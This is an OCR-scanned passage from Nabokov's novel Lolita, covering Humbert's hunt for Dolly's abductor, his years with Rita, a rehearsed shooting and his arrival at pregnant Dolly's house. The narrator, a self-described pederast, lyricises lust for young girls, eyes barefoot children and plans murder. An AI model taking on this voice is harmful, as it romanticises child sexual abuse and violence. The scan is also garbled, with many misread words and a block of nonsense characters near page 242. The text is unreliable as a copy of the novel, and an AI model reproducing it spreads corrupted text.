Miss.” So far so +good. That sort of fun was shoddy but on the whole imper- +sonal and thus innocuous. Among entries that arrested my +attention as undoubtable dues per se but baffled me in respect +to their finer points I do not care to mention many since I +feel I am groping in a border-land mist with verbal phantoms + +V 228 + + + +turning, perhaps, into living vacationists. Who mas "Johnny +Randall, Ramble, Ohio”? Or was he a real person who just +happened to write a hand similar to “N.S. Aristoff, Catagela, +NY”? What was the sting in "Catagela”? And what about +"James Mayor Morrell, Hoaxton, England”? "Aristophanes,” +“hoax” — fine, but what was I missing? + +There was one strain running through all that pseudonymity +which caused me especially painful palpitations when I came +across it Such things as “G. Trapp, Geneva, NY.” was the +sign of treachery on Lolita’s part “Aubrey Beardsley, Quel- +quepart Island” suggested more lucidly than the garbled tele- +phone message had that the starting point of the affair should +be looked for in the East “Lucas Picador, Merrymay, Pa.,” +insinuated that my Carmen had betrayed my pathetic endear- +ments to the impostor. Horribly cruel, forsooth, was ’Will +Brown, Dolores, Colo.” The gruesome "Harold Haze, Tomb- +stone, Arizona” (which at another time would have appealed +to my sense of humor) implied a familiarity with the girl’s +past that in nightmare fashion suggested for a moment that +my quarry was an old friend of the family, maybe an old flame +of Charlotte’s, maybe a redresser of wrongs ("Donald Quix, +Sierra, Nev.”). But the most penetrating bodkin was the +anagramtafled entry in the register of Chestnut Lodge ‘Ted +Hunter, Cane, NH”. + +The garbled license numbers left by all these Persons and +Orgons and Morells and Trapps only told me that motel keep- +ers omit to check if guests’ cars are accurately listed. Refer- +ences — incompletely or incorrectly indicated — to the cars the +fiend had hired for short laps between Wace and Elphinstone +were of course useless; the license of the initial Aztec was a +shimmer of shifting numerals, some transposed, others altered +or omitted, but somehow forming interrelated combinations +(such as ‘WS 1564” and "SH 1616,” and Q32888” or "CU +88322”) which however were so cunningly contrived as to +never reveal a common denominator. + +It occurred to me that after he had turned that convertible +over to accomplices at Wace and switched to the stage-motor +car system, his successors might have been less careful and +might have inscribed at some hotel office the archtypc of those +interrelated figures. But if looking for the fiend along a road I +knew he had taken was such a complicated vague and un- +profitable business, what could I expect from any attempt to +trace unknown motorists traveling along unknown routes? + +229 + + + +24 + + +By the time I reached Beardsley, in the course of the har- +rowing recapitulation I have now discussed at sufficient length, +a complete image had formed in my mind; and through the— +always risky — process of elimination I had reduced this image +to the only concrete source that morbid cerebration and torpid +memory could give it- + +Except for the Rev. Rigor Mortis (as the girls called him), +and an old gentleman who taught non-obligatory German and +Latin, there were no regular male teachers at Beardsley School. +But on two occasions an art instructor on the Beardsley Col- +lege faculty had come over to show the schoolgirls magic lan- +tern pictures of French castles and nineteenth-century paint- +ings. I had wanted to attend those projections and talks, but +Dolly, as was her wont, had asked me not to, period. I also +remembered that Gaston had referred to that particular lec- +turer as a brilliant garfon; but that was all; memory refused to +supply me with the name of the chateau-lover. + +On the day fixed for the execution, I walked through the +sleet across the campus to the information desk in Maker Hah, +Beardsley College. There I learned that the fellow’ s name was +Riggs (rather like that of the minister), that he was a bachelor, +and that in ten minutes he would issue from the “Museum" +where he was having a class. In the passage leading to the audi- +torium I sat on a marble bench of sorts donated by Cecilia +Dalrymple Ramble. As I waited there, in prostatic discomfort, +drunk, sleep-starved, with m’y gun in my fist in my raincoat +pocket, it suddenly occurred to me that I was demented and +was about to do something stupid. There was not one chance +in a million that Albert Riggs, Ass. Prof., was hiding my Lolita +at his Beardsley home, 24 Pritchard Road. He could not be the +villain. It was absolutely preposterous. I was losing my time +and my wits. He and she were in California and not here +at all. + +Presently, I noticed a vague commotion behind some white +statues; a door — not the one I had been staring at — opened +briskly, and amid a bevy of women students a baldish head +and two bright brown eyes bobbed, advanced. + +He was a total stranger to me but insis ted wc had met at a + +230 + + +lawn party at Beardsley School. How was my delightful tennis- +playing daughter? He had another class. He would be seeing +me. + +Another attempt at identification was less speedily resolved: +through an advertisement in one of Lo’s magazines I dared to +get in touch with a private detective, an ex-pugilist, and merely +to give him some idea of the method adopted by the fiend, I +acquainted him with the kind of names and addresses I had +collected. He demanded a goodish deposit and for two years — +two years, reader! — that imbecile busied himself with checking +those nonsense data. I had long severed all monetary relations +with him when he turned up one day with the triumphant in- +formation that an eighty-year old Indian by the name of Bill +Brown lived near Dolores, Colo. + + +25 + + +This book is about Lolita; and now that I have reached the +part which (had I not been forestalled by another internal +combustion martyr) might be called "Dolores Disp arue,” +there would be little sense in analyzing the three empty yean +that followed. While a few pertinent points have to be +marked, the general impression I desire to convey is of a side +door crashing open in life’s full flight, and a rush of roaring +black time drowning with its whipping wind the cry of lone +disaster. + +Singularly enough, I seldom if ever dreamed of Lolita as I +remembered her — as I saw her constantly and obsessively in +my conscious mind during my daymares and insomnias. More +precisely: she did haunt my sleep but she appeared there in +strange and ludicrous disguises as Valeria or Charlotte, or a +cross between them. That complex ghost would come to me, +shedding shift after shift, in an atmosphere of great melan- +choly and disgust, and would recline in dull imitation on +some narrow board or hard settee, with flesh ajar like the rub- +ber valve of a soccer ball’s bladder. I would find myself, den- +tures fractured or hopelessly mislaid, in horrible chambrcs +gamies where I would be entertained at tedious vivisecting +parties that generally ended with Charlotte or Valeria weep- + +231 + + + +mg in my bleeding arms and being tenderly kissed by my +brotherly lips in a dream disorder of auctioneered Viennese +bric4-brac, pity, impotence and the brown wigs of tragic old +women who had just been gassed. + +One day I removed from the car and destroyed an accumula- +tion of teen-magazines. You know the sort. Stone age at head; +up to date, or at least Mycenaean, as to hygiene. A handsome, +very ripe actress with huge lashes and a pulpy red underlip, +endorsing a shampoo. Ads and fads. Young scholars dote on +plenty of pleats — que c’dtait loin, tout cela [ It is your hostess’ +duty to provide robes. Unattached details take all the sparkle +out of your conversation. AH of us have known "pickers" — one +who picks her cuticle at the office party. Unless he is very +elderly or very important, a man should remove his gloves +before shaking hands with a woman. Invite Romance by wear- +ing the Exciting New Tummy Flattener. Trims turns, nips +hips. Tristram in Movielove. Yessir! The Joe-Roe marital +enigma is making yaps flap. Glamourize yourself quickly and +inexpensively. Comics. Bad girl dark hair fat father cigar; good +girl red hair handsome daddums clipped mustache. Or that +repulsive strip with the big gagoon and his wife, a kiddoid +gnomide. Et mo i qui t'offra is mon gdnie ... I recalled the +rather charming nonsense verse I used to write her when she +was a child: “nonsense,” she used to say mockingly, “is cor- +rect” + + +The Squirl and his Squirrel, the Rabs and their Rabbits +Have certain obscure and peculiar habits. + +Male humming birds make the most exquisite rockets. +The snake when he walks holds his hands in his pock- +ets .. . + +Other things of hers were harder to relinquish. Up to the +end of 1949, I cherished and adored, and stained with my +kisses and merman tears, a pair of old sneakers, a boy’s shirt +she had worn, some ancient blue jeans I found in the trunk +compartment a crumpled school cap, suchlike wanton treas- +ures. Then, when I understood my mind was cracking, I +collected these sundry belongings, added to them what had +been stored in Beardsley — a box of books, her bicycle, old +coats, galoshes — and on her fifteenth birthday mailed every- +thing as an anonymous gift to a home for orphaned girls on +a windy lake, on the Canadian border. + +232 + + + +It is just possible that had I gone to a strong hypnotist he +might have extracted from me and arrayed in a logical pattern +certain chance memories that I have threaded through my +booh with considerably more ostentation than they present +themselves with to my mind even now when I know what to +seek in the past. At the time I felt I was merely losing contact +with reality; and after spending the rest of the winter and +most of the following spring in a Quebec sanatorium where +I had stayed before, I resolved first to settle some affairs of +mine in New York and then to proceed to California for a +thorough search there. + +Here is something I composed in my retreat: + +Wanted, wanted: Dolores Haze. + +Hair: brown. Lips: scarlet. + +Age: five thousand three hundred days. + +Profession: none, or "starlet.'' + +Where are you hiding, Dolores Haze? + +Why are you hiding, darling? + +(I talk in a daze, I walk in a maze, + +I cannot get out, said the starling). + +Where are you riding, Dolores Haze? + +What make is the magic carpet? + +Is a Cream Cougar the present craze? + +And where are you parked, my car pet? + +Who is your hero, Dolores Haze? + +Still one of those blue-caped star-men? + +Oh the balmy days and the palmy bar’s. + +And the cars, and the bars, my Cannenl + +Oh Dolores, that juke-box burtsl +Are you still dancin’, darlin’? + +(Both in wom lew's, both in tom T-shirts, + +And I, in my comer, snarlin'). + +Happy, happy is gnarled McFate +Touring the States with a child wife. + +Plowing his Molly in every State +Among the protected wild life. + +My Dolly, my folly! Her eyes were vair. + +And never dosed when I kissed her. + +233 + + + +Know an old perfume called Soleil Vert? + +Are you from Paris, mister? + +I/autre soir un air hold cTopdra m’alita; + +Son i£l6 — bien fol est qui s’y fi el +II nefge, le d6cot s'dcioule, Lolita! + +Lolita, qu’ai-fe fait de ta vie? + +Dying, dying, Lolita Haze, + +Of hate and remorse. I'm dying. + +And again my hairy fist I raise, + +And again I hear you crying. + +Officer, officer, there they go — + +In the rain, where that lighted store isl +And her sochs are white, and I love her so. + +And her name is Haze, Dolores. + +Officer, officer, there they are — + +Dolores Haze and her loverl + +Whip out your gun and follow that car. + +Now tumble out, and take cover. + +Wanted, wanted: Dolores Haze. + +Her dream-gray gaze never flinches. + +Ninety pounds is all she weighs +With a height of sixty inches. + +My car is limping, Dolores Haze, + +And the last long lap is -the hardest. + +And I shall be dumped where the weed decays. + +And the rest is rust and stardust. + +By psychoanalyzing this poem, I notice it is really a mani- +ac’s masterpiece. The stark, stiff, lurid rhymes correspond very +exactly to certain perspectiveless and terrible landscapes and +figures, and magnified parts of landscapes and figures, as drawn +by psychopaths in tests devised by their astute trainers, I wrote +many more poems. I immersed myself in the poetry of others. +But not for a second did I forget the load of revenge. + +I would be a knave to say, and the reader a fool to believe, +shock of losing Lolita cured me of pederosis. My +accursed nature could not change, no matter how my love for + +234 + + + +her did On playgrounds and beaches, my sullen and stealthy +eye, against my wiD, still sought out the flash of a nymphet's +limbs, the sly tokens of Lolita’s handmaids and rosegirls. But +one essential vision in me had withered: never did I dwell now +on possibilities of bliss with a little maiden, specific or syn- +thetic, in some out-of-the-way place; never did my fancy sink +its fangs into Lolita’s sisters, far far away, in the coves of +evoked islands. That was all over, for the time being at least. +On the other hand, alas, two years of monstrous indulgence +had left me with certain habits of Inst: I feared lest the void +I lived in might drive me to plunge into the freedom of sud- +den insanity when confronted with a chance temptation in +some lane between school and supper. Solitude was corrupting +me. I needed company and care. My heart was a hysterical +unreliable organ. This is how Rita enters the picture. + + +26 + + +She was twice Lolita’s age and three quarters of mine: a very +slight, dark-haired, pale-skinned adult, weighing a hundred and +five pounds, with charmingly asymmetrical eyes, an angular, +rapidly sketched profile, and a most appealing cnsellurc to her +supple back — I think she had some Spanish or Babylonian +blood. I picked her up one depraved May evening somewhere +between Montreal and New York, or more narrowly, between +Toylestown and Blake, at a darkishly burning bar under the +sign of the Tigermoth, where she was amiably drunk: she in- +sisted we had gone to school together, and she placed her +trembling little hand on my ape paw. My senses were very +slightly stirred but I decided to give her a try; I did — and +adopted her as a constant companion. She was so kind, was +Rita, such a good sport, that I daresay she would have given +herself to any pathetic creature or fallacy, an old broken tree +or a bereaved porcupine, out of sheer chumminess and com- +passion. + +When I first met her she had but recently divorced her +third husband — and a little more recently had been abandoned +by her seventh cavalier servant — the others, the mutables, were +too numerous and mobile to tabulate. Her brother was — and + +255 + + + +no doubt still is — a prominent, pasty-faced, suspenders-and- +painted-tie-wearing politician, mayor and booster of bis baH- +playing, Bible-reading, grain-handbng home town. For the last +eight years he had been paying his great little sister several +hundred dollars per month under the stringent condition that +she would never never enter great little Grainball City. She +told me, with wails of wonder, that for some God-damn reason +every new boy friend of hers would first of all take her Grain- +bah-ward: it was a fatal attraction; and before she knew what +was what, she would find herself sucked into the lunar orbit +of the town, and would be following the flood-lit drive that +encircled it — "going round and round,” as she phrased it, +“like a God-damn mulberry moth." + +She had a natty little coup6; and in it we traveled to Cali- +fornia so as to give my venerable vehicle a rest. Her natural +speed was ninety. Dear Rital We cruised together for two dim +years, from summer 1950 to summer 1952, and she was the +sweetest, simplest, gentlest, dumbest Rita imaginable. In com- +parison to her, Valechka was a Schlegel, and Charlotte a Hegel. +There is no earthly reason why I should dally with her in +the margin of this sinister memoir, but let me say (hi, Rita — +wherever you are, drunk or hangoverish, Rita, hi!) that she +was the most soothing, the most comprehending companion +that I ever had, and certainly saved me from the madhouse. I +told her I was trying to trace a girl and plug that girl's bully. +Rita solemnly approved of the plan — and in the course of +some investigation she undertook on her own (without really +knowing a thing), around San Humbertino, got entangled +with a pretty awful crook herself; I had the devil of a time +retrieving her — used and bruised but still cocky. Then one +day she proposed playing Russian roulette with my sacred +automatic; I said you couldn’t, it was not a revolver, x and we +struggled for it, until at last it went off, touching off a very +thin and very comical spurt of hot water from the hole it made +in the wall of the cabin room; I remember her shrieks of +laughter. + +The oddly prepubescent curve of her back, her ricey skin, +her slow languorous colombine kisses kept me from mischief. +It is not the artistic aptitudes that are secondary sexual char- +acters as some shams and shamans have said; it is the other +way around: sex is but the anci Ha of art One rather mysterious +spree that had interesting repercussions I must notice. I had +abandoned the search: the fiend was either in Tartary or bum- + +236 + + +ing avray in my cerebellum (the flames fanned by my fancy +and grief) but certainly not having Dolores Haze play cham- +pion tennis on the Pacific Coast. One afternoon, on our way +bade East, in a hideous hotel, the land where the}’ hold con- +ventions and where labeled, fat, pink men stagger around, all +first names and business and booze — dear Rita and I awoke +to find a third in our room, a blond, almost albino, young +fellow with white eyelashes and large transparent ears, whom +neither Rita nor I recalled having ever seen in our sad lives. +Sweating in thick dirty underwear, and with old army boots +on, he lay snoring on the double bed beyond my chaste Rita. +One of his front teeth was gone, amber pustules grew’ on his +forehead. Ritochka enveloped her sinuous nudity in my rain- +coat — the first thing at hand; I slipped on a pair of candy- +striped drawers; and we took stock of the situation. Five +glasses had been used, which, in the way of clues, was an em- +barrassment of riches. The door was not properly closed. A +sweater and a pair of shapeless tan pants by on the floor. We +shook their owner into miserable consciousness. He was com- +pletely amnesic. In an accent that Rita recognized as pure +Brooldynese, he peevishly insinuated that somehow we had +purloined his (worthless) identity. We rushed him into his +clothes and left him at the nearest hospital, realizing on the +way that somehow or other after forgotten gyrations, we were +in Grainball. Half a year later Rita wrote the doctor for news. +Jack Humhertson as he had been tastelessly dubbed was stall +isolated from his personal past Oh Mnemosyne, sweetest and +most mischievous of muses! + +I would not have mentioned this incident had it not started +a chain of ideas that resnlted in my publishing in the Cantrip +Review an essay on “Munir and Memory,” in which I sug- +gested among other things that seemed original and important +to that splendid review’s benevolent readers, a theory of per- +ceptual time based on the circulation of the blood and con- +ceptually depending (to fill up this nutshell) on the mind's +being conscious not only of matter but also of its own self, +thus creating a continuous spanning of two points (the stor- +able future and the stored past) . In result of this venture — +and in culmination of the impression made by my previous +travaux — I was called from New York, where Rita and I were +living in a little flat with a view of gleaming children taking +shower baths far below in a fountainous arbor of Central +Park, to Cantrip College, four hundred miles away, for one + +237 + + + +year. I lodged there, in special apartments for poets and +philosophers, from September 1951 to June 1952, -while Rita +whom I preferred not to display vegetated — somewhat in- +decorously, I am afraid — in a roadside inn where I visited her +twice a week. Then she vanished — more humanly than her pred- +ecessor had done: a month later I found her in the local jail. +She was tr£s digne, had had her appendix removed, and man- +aged to convince me that the beautiful bluish furs she had +been accused of stealing from a Mrs. Roland MacCrum had +really been a spontaneous, if somewhat alcoholic, gift from +Roland himself. I succeeded in getting her out without ap- +pealing to her touchy brother, and soon afterwards we drove +back to Central Park West, by way of Briceland, where we +had stopped for a few hours the year before. + +A curious urge to relive my stay there with Lolita had got +hold of me. I was entering a phase of existence where I had +given up all hope of tracing her kidnaper and her. I now at- +tempted to fall back on old settings in order to save what still +could be saved in the way of souvenir, souvenir que me veux- +tn? Autumn was ringing in the air. To a post card requesting +twin beds Professor Hamburg got a prompt expression of +regret in reply. They were full up. They had one bathless +basement room with four beds which they thought I would +not want Their note paper was headed: + + +The Enchanted Huntees + +NEAR CHURCHES NO DOGS + +AD legal beverages + +I wondered if the last statement was true. AH? Did they have +for instance sidewalk grenadine? I also wondered if a hunter, +enchanted or otherwise, would not need a pointer more than a +pew, and with a spasm of pain I recalled a scene worthy of a +great artist: petite nymphe accroupie; but that silky cocker +spaniel had perhaps been a baptized one. No — I felt I could +not endure the throes of revisiting that lobby. There -was a +much better possibility of retrievable time elsewhere in soft, +rich-colored, autumnal Briceland. Leaving Rita in a bar, I +made for the town library. A twittering spinster was only too +glad to help me disinter mid-August 1947 from the bound +Briceland Gazette , and presently, in a secluded nook under a +naked light, I was turning the enormous and fragile pages of + +238 + + + +a coffin-black volume almost as big as Lolita. + +Reader! B ruder/ What a foolish Hamburg that Hamburg +■was! Since his supersensitive system was loath to face the +actual scene, he thought he could at least enjoy a secret part +of it — which reminds one of the tenth or twentieth soldier +in the raping queue who throws the girl’s black shawl over +her white face so as not to see those impossible eyes while +taking his military pleasure in the sad, sacked village. What I +lusted to get was the printed picture that had chanced to +absorb my trespassing image while the Gazette’s photographer +was concentrating on Dr. Braddock and his group. Passionately +I hoped to find preserved the portrait of the artist as a younger +brute. An innocent camera catching me on my dark way to +Lolita’s bed — what a magnet for Mnemosyne! I cannot well +explain the true nature of that urge of mine. It was allied, I +suppose, to that swooning curiosity which impels one to +examine with a magnifying glass bleak little figures — still life +practically, and everybody about to throw up — at an early +morning execution, and the patient’s expression impossible to +make out in the print Anyway, I was literally gasping for +breath, and one comer of the book of doom kept stabbing +me in the stomach while I scanned and skimmed . . . Brute +Force and Possessed were coming on Sunday, the 24th to both +theaters. Mr. Purdom, independent tobacco auctioneer, said +that ever since 1925 he had been an Omen Faustum smoker. +Husky Hank and his petite bride were to be the guests of +Mr. and Mrs. Reginald G. Gore, 58 Inchkeith Ave. The size +of certain parasites is one sixth of the host Dunkerque was +fortified in the tenth century. Misses’ socks, 39 c. Saddle Ox- +fords 3.98. Wine, wine, wine, quipped the author of Dark +Age who refused to be photographed, may suit a Persian bub- +ble bird, hut I say give me rain, rain, rain on the shingle +roof for roses and inspiration every time. Dimples are caused +by the adherence of the sldn to the deeper tissues. Greeks +repulse a heavy guerilla assault — and, ah, at last a little figure +in white, and Dr. Braddock in black, but whatever spectral +shoulder was brushing against his ample form — nothing of +myself could I make out + +I went to find Rita who introduced me with her vin trisic +miile to a pocket-sized wizened truculently tight old man say- +ing this was — what was that name again, son? — a former +schoolmate of hen. He tried to retain her, and in the slight +scuffle that followed I hurt my thumb against his hard head. + +239 + + + +In the silent painted park where I walked her and aired her +a little, she sobbed and said I would soon, soon leave her as +everybody had, and I sang her a wistful French ballad, and +strung together some fugitive rhymes to amuse her: + +The place was called Enchanted Hunters. Query: +What Indian dyes, Diana, did thy dell +endorse to make of Picture Lake a very +blood bath of trees before the blue hotel? + +She said: “Why blue when it is white, why blue for +heaven's sake?” and started to cry again, and I marched her +to the car, and we drove on to New York, and soon she was +reasonably happy again high up in the haze on the little terrace +of our flat. I notice I have somehow mixed up two events, my +visit with Rita to Briceland on our way to Cantrip, and our +passing through Briceland again on our way back to New +York, but such suffusions of swimming colors are not to be +disdained by the artist in recollection. + + + +My letterbox in the entrance hall belonged to the type that +allows one to glimpse something of its contents through a +glassed slit. Several times already, a trick of harlequin light that +fell through the glass upon an alien handwriting had twisted it +into a semblance of Lolita’s script causing me almost to col- +lapse as I leant against an adjacent urn, almost my own. +Whenever that happened — whenever her lovely, loopy, child- +ish scrawl was horribly transformed into the dull hand of one +of my few correspondents — I used to recollect, with anguished +amusement, the times in my trustful, pre-dolorian past when I +would be misled by a jewel-bright window opposite wherein my +lurking eye, the ever alert periscope of my shameful vice, would +make out from afar a half-naked nymphet stilled in the act of +combing her Alice-in-Wonderland hair. There was in the flery +phantasm a perfection which made my wild delight also per- +fect, just because the vision was out of reach, with no possi- +bility of at tainm ent to spoil it by the awareness of an ap- + +240 + +"x + + + +pended taboo; indeed, it may well be that the very attraction +immaturity has for me lies not so much in the limpidity of +pure young forbidden fairy child beauty as in the security of +a situation where infinite perfections fill the gap between the +little given and the great promised — the great rosegray never- +tobe-had. Mes fenStres! Hanging above blotched sunset and +welling night, grinding my teeth, I would crowd all the de- +mons of my desire against the railing of a throbbing balcony: +it would be ready to take off in the apricot and black humid +evening; did take off — whereupon the lighted image would +move and Eve would revert to a rib, and there would be noth- +ing in the window but an obese partly clad man reading the +paper. + +Since I sometimes won the race between my fancy and +nature’s reality, the deception was bearable. Unbearable pain +began when chance entered the fray and deprived me of the +smile meant for me. “Savez-vous qu’ji dix ans ma petite dtait +folle de vous?” said a woman I talked to at a tea in Paris, and +the petite had just married, miles away, and I could not even +remember if I had ever noticed her in that garden, next to +those tennis courts, a dozen years before. And now likewise, +the radiant foreglimpse, the promise of reality, a promise not +only to he simulated seductively but also to be nobly held — +all this, chance denied me — chance and a change to smaller +characters on the pale beloved writer’s part. My fancy was +both Proustianized and Procrusteanized; for that particular +morning, early in September 1952, as I had come down to +grope for my mail, the dapper and bilious janitor with whom +I was on execrable terms started to complain that a man +who had seen Rita home recently had been "sick like a dog” +on the front steps. In the process of listening to him and +tipping him, and then listening to a revised and politer version +of the incident, I had the impression that one of the two +letters w’hich that blessed mail brought was from Rita’s +mother, a crazy little woman, whom we had once visited on +Cape Cod and who kept writing me to my various addresses, +saying how wonderfully well matched her daughter and I +were, and how wonderful it would be if wc married; the other +letter which I opened and scanned rapidly in the el era tor was +from John Farlow. + +I have often noticed that we are inclined to endow our +friends wath the stability of type that literary characters ac- +quire in the reader’s mind. No matter how many times we + +241 + + + +reopen “King Lear,” never shall we find the good Idng banging +his tankard in high revelry, all woes forgotten, at a jolly reunion +with all three daughters and their lapdogs. Never will Emma +rally, revived by the sympathetic salts in Flaubert’s father’s +timely tear. Whatever evolution this or that popular character +has gone through between the book covers, his fate is fixed +in our minds, and, similarly, we expect our friends to follow +this or that logical and conventional pattern we have fixed for +them. Thus X will never compose the immortal music that +would clash with the second-rate symphonies he has accus- +tomed us to. Y will never commit murder. Under no circum- +stances can Z ever betray us. We have it all arranged in our +minds, and the less often we see. a particular person the more +satisfying it is to check how obediently he conforms to our +notion of him every time we hear of him. Any deviation in +the fates we have ordained would strike us as not only anom- +alous but unethical. We would prefer not to have known at +all our neighbor, the retired hot-dog stand operator, if it turns +out he has just produced the greatest book of poetry his age +has seen. + +I am saying all this in order to explain how bewildered I was +by Farlow’s hysterical letter. 1 knew his wife had died but I +certainly expected him to remain, throughout a devout widow- +hood, the dull, sedate and reliable person he had always been. +Now he wrote that after a brief visit to the U.S. he had re- +turned to South America and had decided that whatever affairs +he had controlled at Ramsdale he would hand over to Jack +Windmuller of that town, a lawyer whom we both knew. He +seemed particularly relieved to get rid of the Haze “complica- +tions.” He had married a Spanish girl. He had stopped smok- +ing and had gained thirty pounds. She was very young and a +ski champion. They were going to India for their honeymon- +soon. Since he was “building a family” as he put it, he would +have no time henceforth for my affairs which he termed “very +strange and very aggravating.” Busybodies — a whole commit- +tee of them, it appeared — had informed him that the where- +abouts of little Dolly Haze were unknown, and that I was +living with a notorious divorcee in California. His father-in-law +was a count, and exceedingly wealthy. The people who had +been renting the Haze house for some years now wished to buy +it. He suggested that I better produce Dolly quick. He had +broken his leg. He enclosed a snapshot of himself and a +brunette in white wool beaming at each other among the +snows of Chile. + + +242 + + +hr + +,ztz + +ire: + + +ek + +??,■£■ + + +PSt' + +^refc? + +;TX?^' + +ibr- + +•‘fct’tf + +■V-^ + +7fc^ + +ifeif;- + +,&*? + +A! + +IS*--* + +JS^' + + +I remember letting myself into my flat and starting to say: +Well, at least we sbafi now track them down — when the other +letter began .talking to me in a small matter-of-fact voice: + +Dear Dad: + +How’s everything? Fm married. I’m going to have a baby. +I guess he’s going to be a big one. I guess he'll come right for +Christmas. This is a hard letter to write. Fm going nuts be- +cause we don’t have enough to pay our debts and get out of +here. Dick is promised a big job in Alaska in his very special- +ized comer of the mechanical field, that’s all I know about +it but it’s really grand. Pardon me for withholding our home +address but you may still be mad at me, and Dick must not +know. This town is something. You can't see the morons +for the smog. Please do send us a check, Dad. We could +manage with three or four hundred or even less, anything is +welcome, you might sell my old things, because once we get +there the dough will just start rolling in. Write, please. I +have gone through much sadness and hardship. + +Yours expecting, + +Dolly (Mrs. Richard F. Schiller) + + +28 + + +I was again on the road, again at the wheel of the old blue +sedan, again alone. Rita had still been dead to the world when +I read that letter and fought the mountains of agony it raised +within me. I had glanced at her as she smiled in her sleep and +had kissed her on her moist brow, and had left her forever, with +a note of tender adieu which I taped to her navel — otherwise +she might not have found it. + +"Alone” did I say? Pas tout £ fait. I had my little black +chum with me, and as soon as I reached a secluded spot, I +rehearsed Mr. Richard F. Schiller's violent death. I had found +a very old and very dirty gray sweater of mine in the back +of the car, and this I hung up on a branch, in a speechless +glade, which I had reached by a wood road from the now re- +mote highway. The carrying out of the sentence was a little +marred by what seemed to me a certain stiffness in the play +of the trigger, and I wondered if I should get some oil for the + +243 + + + +mysterious thing but decided I had no time to spare. Back into +the car went the old dead sweater, now with additional per- +forations, and having reloaded warm Chum, I continued my +journey. + +The letter was dated September 18, 1952 (this was Septem- +ber 22), and the address she gave was "General Delivery, +Coalmont” (not “Va.,” not ‘Ta.,” not "Tenn.” — and not +Coalmont, anyway — I have camouflaged everything, my love). +Inquiries showed this to be a small industrial community some +eight hundred miles from New York City. At first I planned +to drive all day and night, but then thought better of it and +rested for a couple of hours around dawn in a motor court +room, a few miles before reaching the town. I had made up +my mind that the fiend, this Schiller, had been a car salesman +who had perhaps got to know my Lolita by giving her a ride +in Beardsley — the day her bike blew a tire on the way to Miss +Emperor — and that he had got into some trouble since then. +The corpse of the executed sweater, no matter how I changed +its contours as it lay on the back seat of the car, had kept +revealing various outlines pertaining to Trapp-Schiller — the +grossness and obscene bonhommie of his body, and to counter- +act this taste of coarse corruption I resolved to make myself +especially handsome and smart as I pressed home the nipple +of my alarm clock before it exploded at the set hour of six +a.m. Then, with the stem and romantic care of a gentleman +about to fight a duel, I checked the arrangement of my papers, +bathed and perfumed my delicate body, shaved my face and +chest, selected a silk shirt and clean drawers, pulled on trans- +parent taupe socks, and congratulated myself for having with +me in my trunk some very exquisite clothes — a waistcoat with +nacreous buttons, for instance, a pale cashmere tie and so on. + +I was not able, alas, to hold my breakfast, but dismissed that +physicality as a trivial contretemps, wiped' my mouth with a +gossamer handkerchief produced from my sleeve, and, with a +blue block of ice for heart, a pill on my tongue and solid death +in my hip pocket, I stepped neatly into a telephone booth in +Coalmont (Ah-ah-ah, said its little door) and rang up the only +Schiller — Paul, Furniture — to be found in the battered book. +Hoarse Paul told me he did know a Richard, the son of a +cousin of his, and his address was, let me see, 10 Killer Street +(I am not going very far for my pseudonyms) . Ah-ah-ah, said +the little door. + +At 10 Killer Street, a tenement house, I interviewed a num- +N 244 + + + +her of dejected old people and two long-haired strawberry-blond +incredibly grubby nymphets (rather abstractly, just for the +heck of it, the ancient beast in me was casting about for some +lightly dad child I might hold against me for a minute, after +the killing was over and nothing mattered any more, and +everything was allowed) . Yes, Dick Sldller had lived there, but +had moved when he married. Nobody knew his address. "They +might know at the store," said a bass voice from an open +manhole near which I happened to be standing with the two +thin-armed, barefoot little girls and their dim grandmothers. +I entered the wrong store and a wary old Negro shook his +head even before I could ask anything. I crossed over to a +bleak grocery and there, summoned by a customer at my re- +quest, a woman’s voice from some wooden abyss in the floor, +tiie manhole’s counterpart, cried out: Hunter Road, last house. + +Hunter Road was miles away, in an even more dismal dis- +trict, all dump and ditch, and wormy vegetable garden, and +shade, and gray drizzle, and red mud, and several smoking +stacks in the distance. 1 stopped at the last "house” — a clap- +board shack, with two or three similar ones farther away from +the road and a waste of withered weeds all around. Sounds of +hammering came from behind the house, and for several min- +utes I sat quite still in my old car, old and frail, at the end +of my journey, at my gray goal, finis, my friends, finis, my +fiends. The time was around two. My pulse was -40 one minute +and 100 the next. The drizzle crepitated against the hood +of the car. My gun had migrated to my right trouser pocket. A +nondescript cur came out from behind the house, stopped in +surprise, and started good-naturedly woof-woofing at me, his +eyes slit, his shaggy belly all muddy, and then walked about a +little and woofed once more. + + +29 + + +I got out of the CA?. and slammed its door. How mattei-of- +fact, how square that slam sounded in the void of the sunless +dayl Woof, commented the dog perfunctorily. I pressed the +bell button, it vibrated through my whole system. Person ne. Je +resonne. Repexsonne. From what depth this rc-nonsense? + +245 + + + +Woof, said the dog. A rush and a shuffle, and woosh-woof +went the door. + +Couple of inches taller. Pink-rimmed glasses. New, heaped- +up hairdo, new ears. How simplel The moment, the death I +had kept conjuring up for three years was as simple as a bit of +dry wood. She was frankly and hugely pregnant. Her head +looked smaller (only two seconds had passed really, hut let +me give them as much wooden duration as life can stand), and +her pale-fredded cheeks were hollowed, and her bare shins and +arms had lost all their tan, so that the little hairs showed. +She wore a brown, sleeveless cotton dress and sloppy felt +slippers. + +“We — e — elll” she exhaled after a pause with all the +emphasis of wonder and welcome. + +“Husband at home?” I croaked, fist in pocket. + +I could not kill her, of course, as some have thought. You +see I loved her. It was love at first sight, at last sight, at ever +and ever sight. + +“Come in,” she said with a vehement cheerful note. Against +the splintery deadwood of the door, Dolly Schiller flattened +herself as best she could (even rising on tiptoe a little) to let +me pass, and was crucified for a moment, looking down, smil- +ing down at the threshold, hollow-cheeked with round pom - +mettes, her watered-milk-white arms outspread on the wood. I +passed without touching her bulging babe. Dolly-smell, with +a faint fried addition. My teeth chattered like an idiot's. “No, +you stay out” (to the dog). She closed the door and followed +me and her belly into the dollhouse parlor. + +“Dick’s down there,” she said pointing with an invisible +tennis racket, inviting my gaze to travel from the drab parlor- +bedroom where we stood, right across the kitchen, and through +the back-doorway where, in a rather primitive vista, a dark- +haired young stranger in overalls, instantaneously reprieved, +was perched with his back to me on a ladder fixing something +near or upon the shack of his neighbor, a plumper fellow with +only one arm, who stood looking up. + +This pattern she explained from afar, apologetically (“Men +will be men”); should she call him in? + +No. + +Standing in the middle of the slanting room and emitting +questioning “hm’s,” she made familiar Javanese gestures with +her wrists and hands, offering me, in a brief display of humor- +ous courtesy, to choose between a rocker and the divan (their + +246 + + + +Bed after ten p . m.) . I say “familiar” because one day she had +welcomed me with the same wrist dance to her party in +Beardsley. We both sat down on the divan. 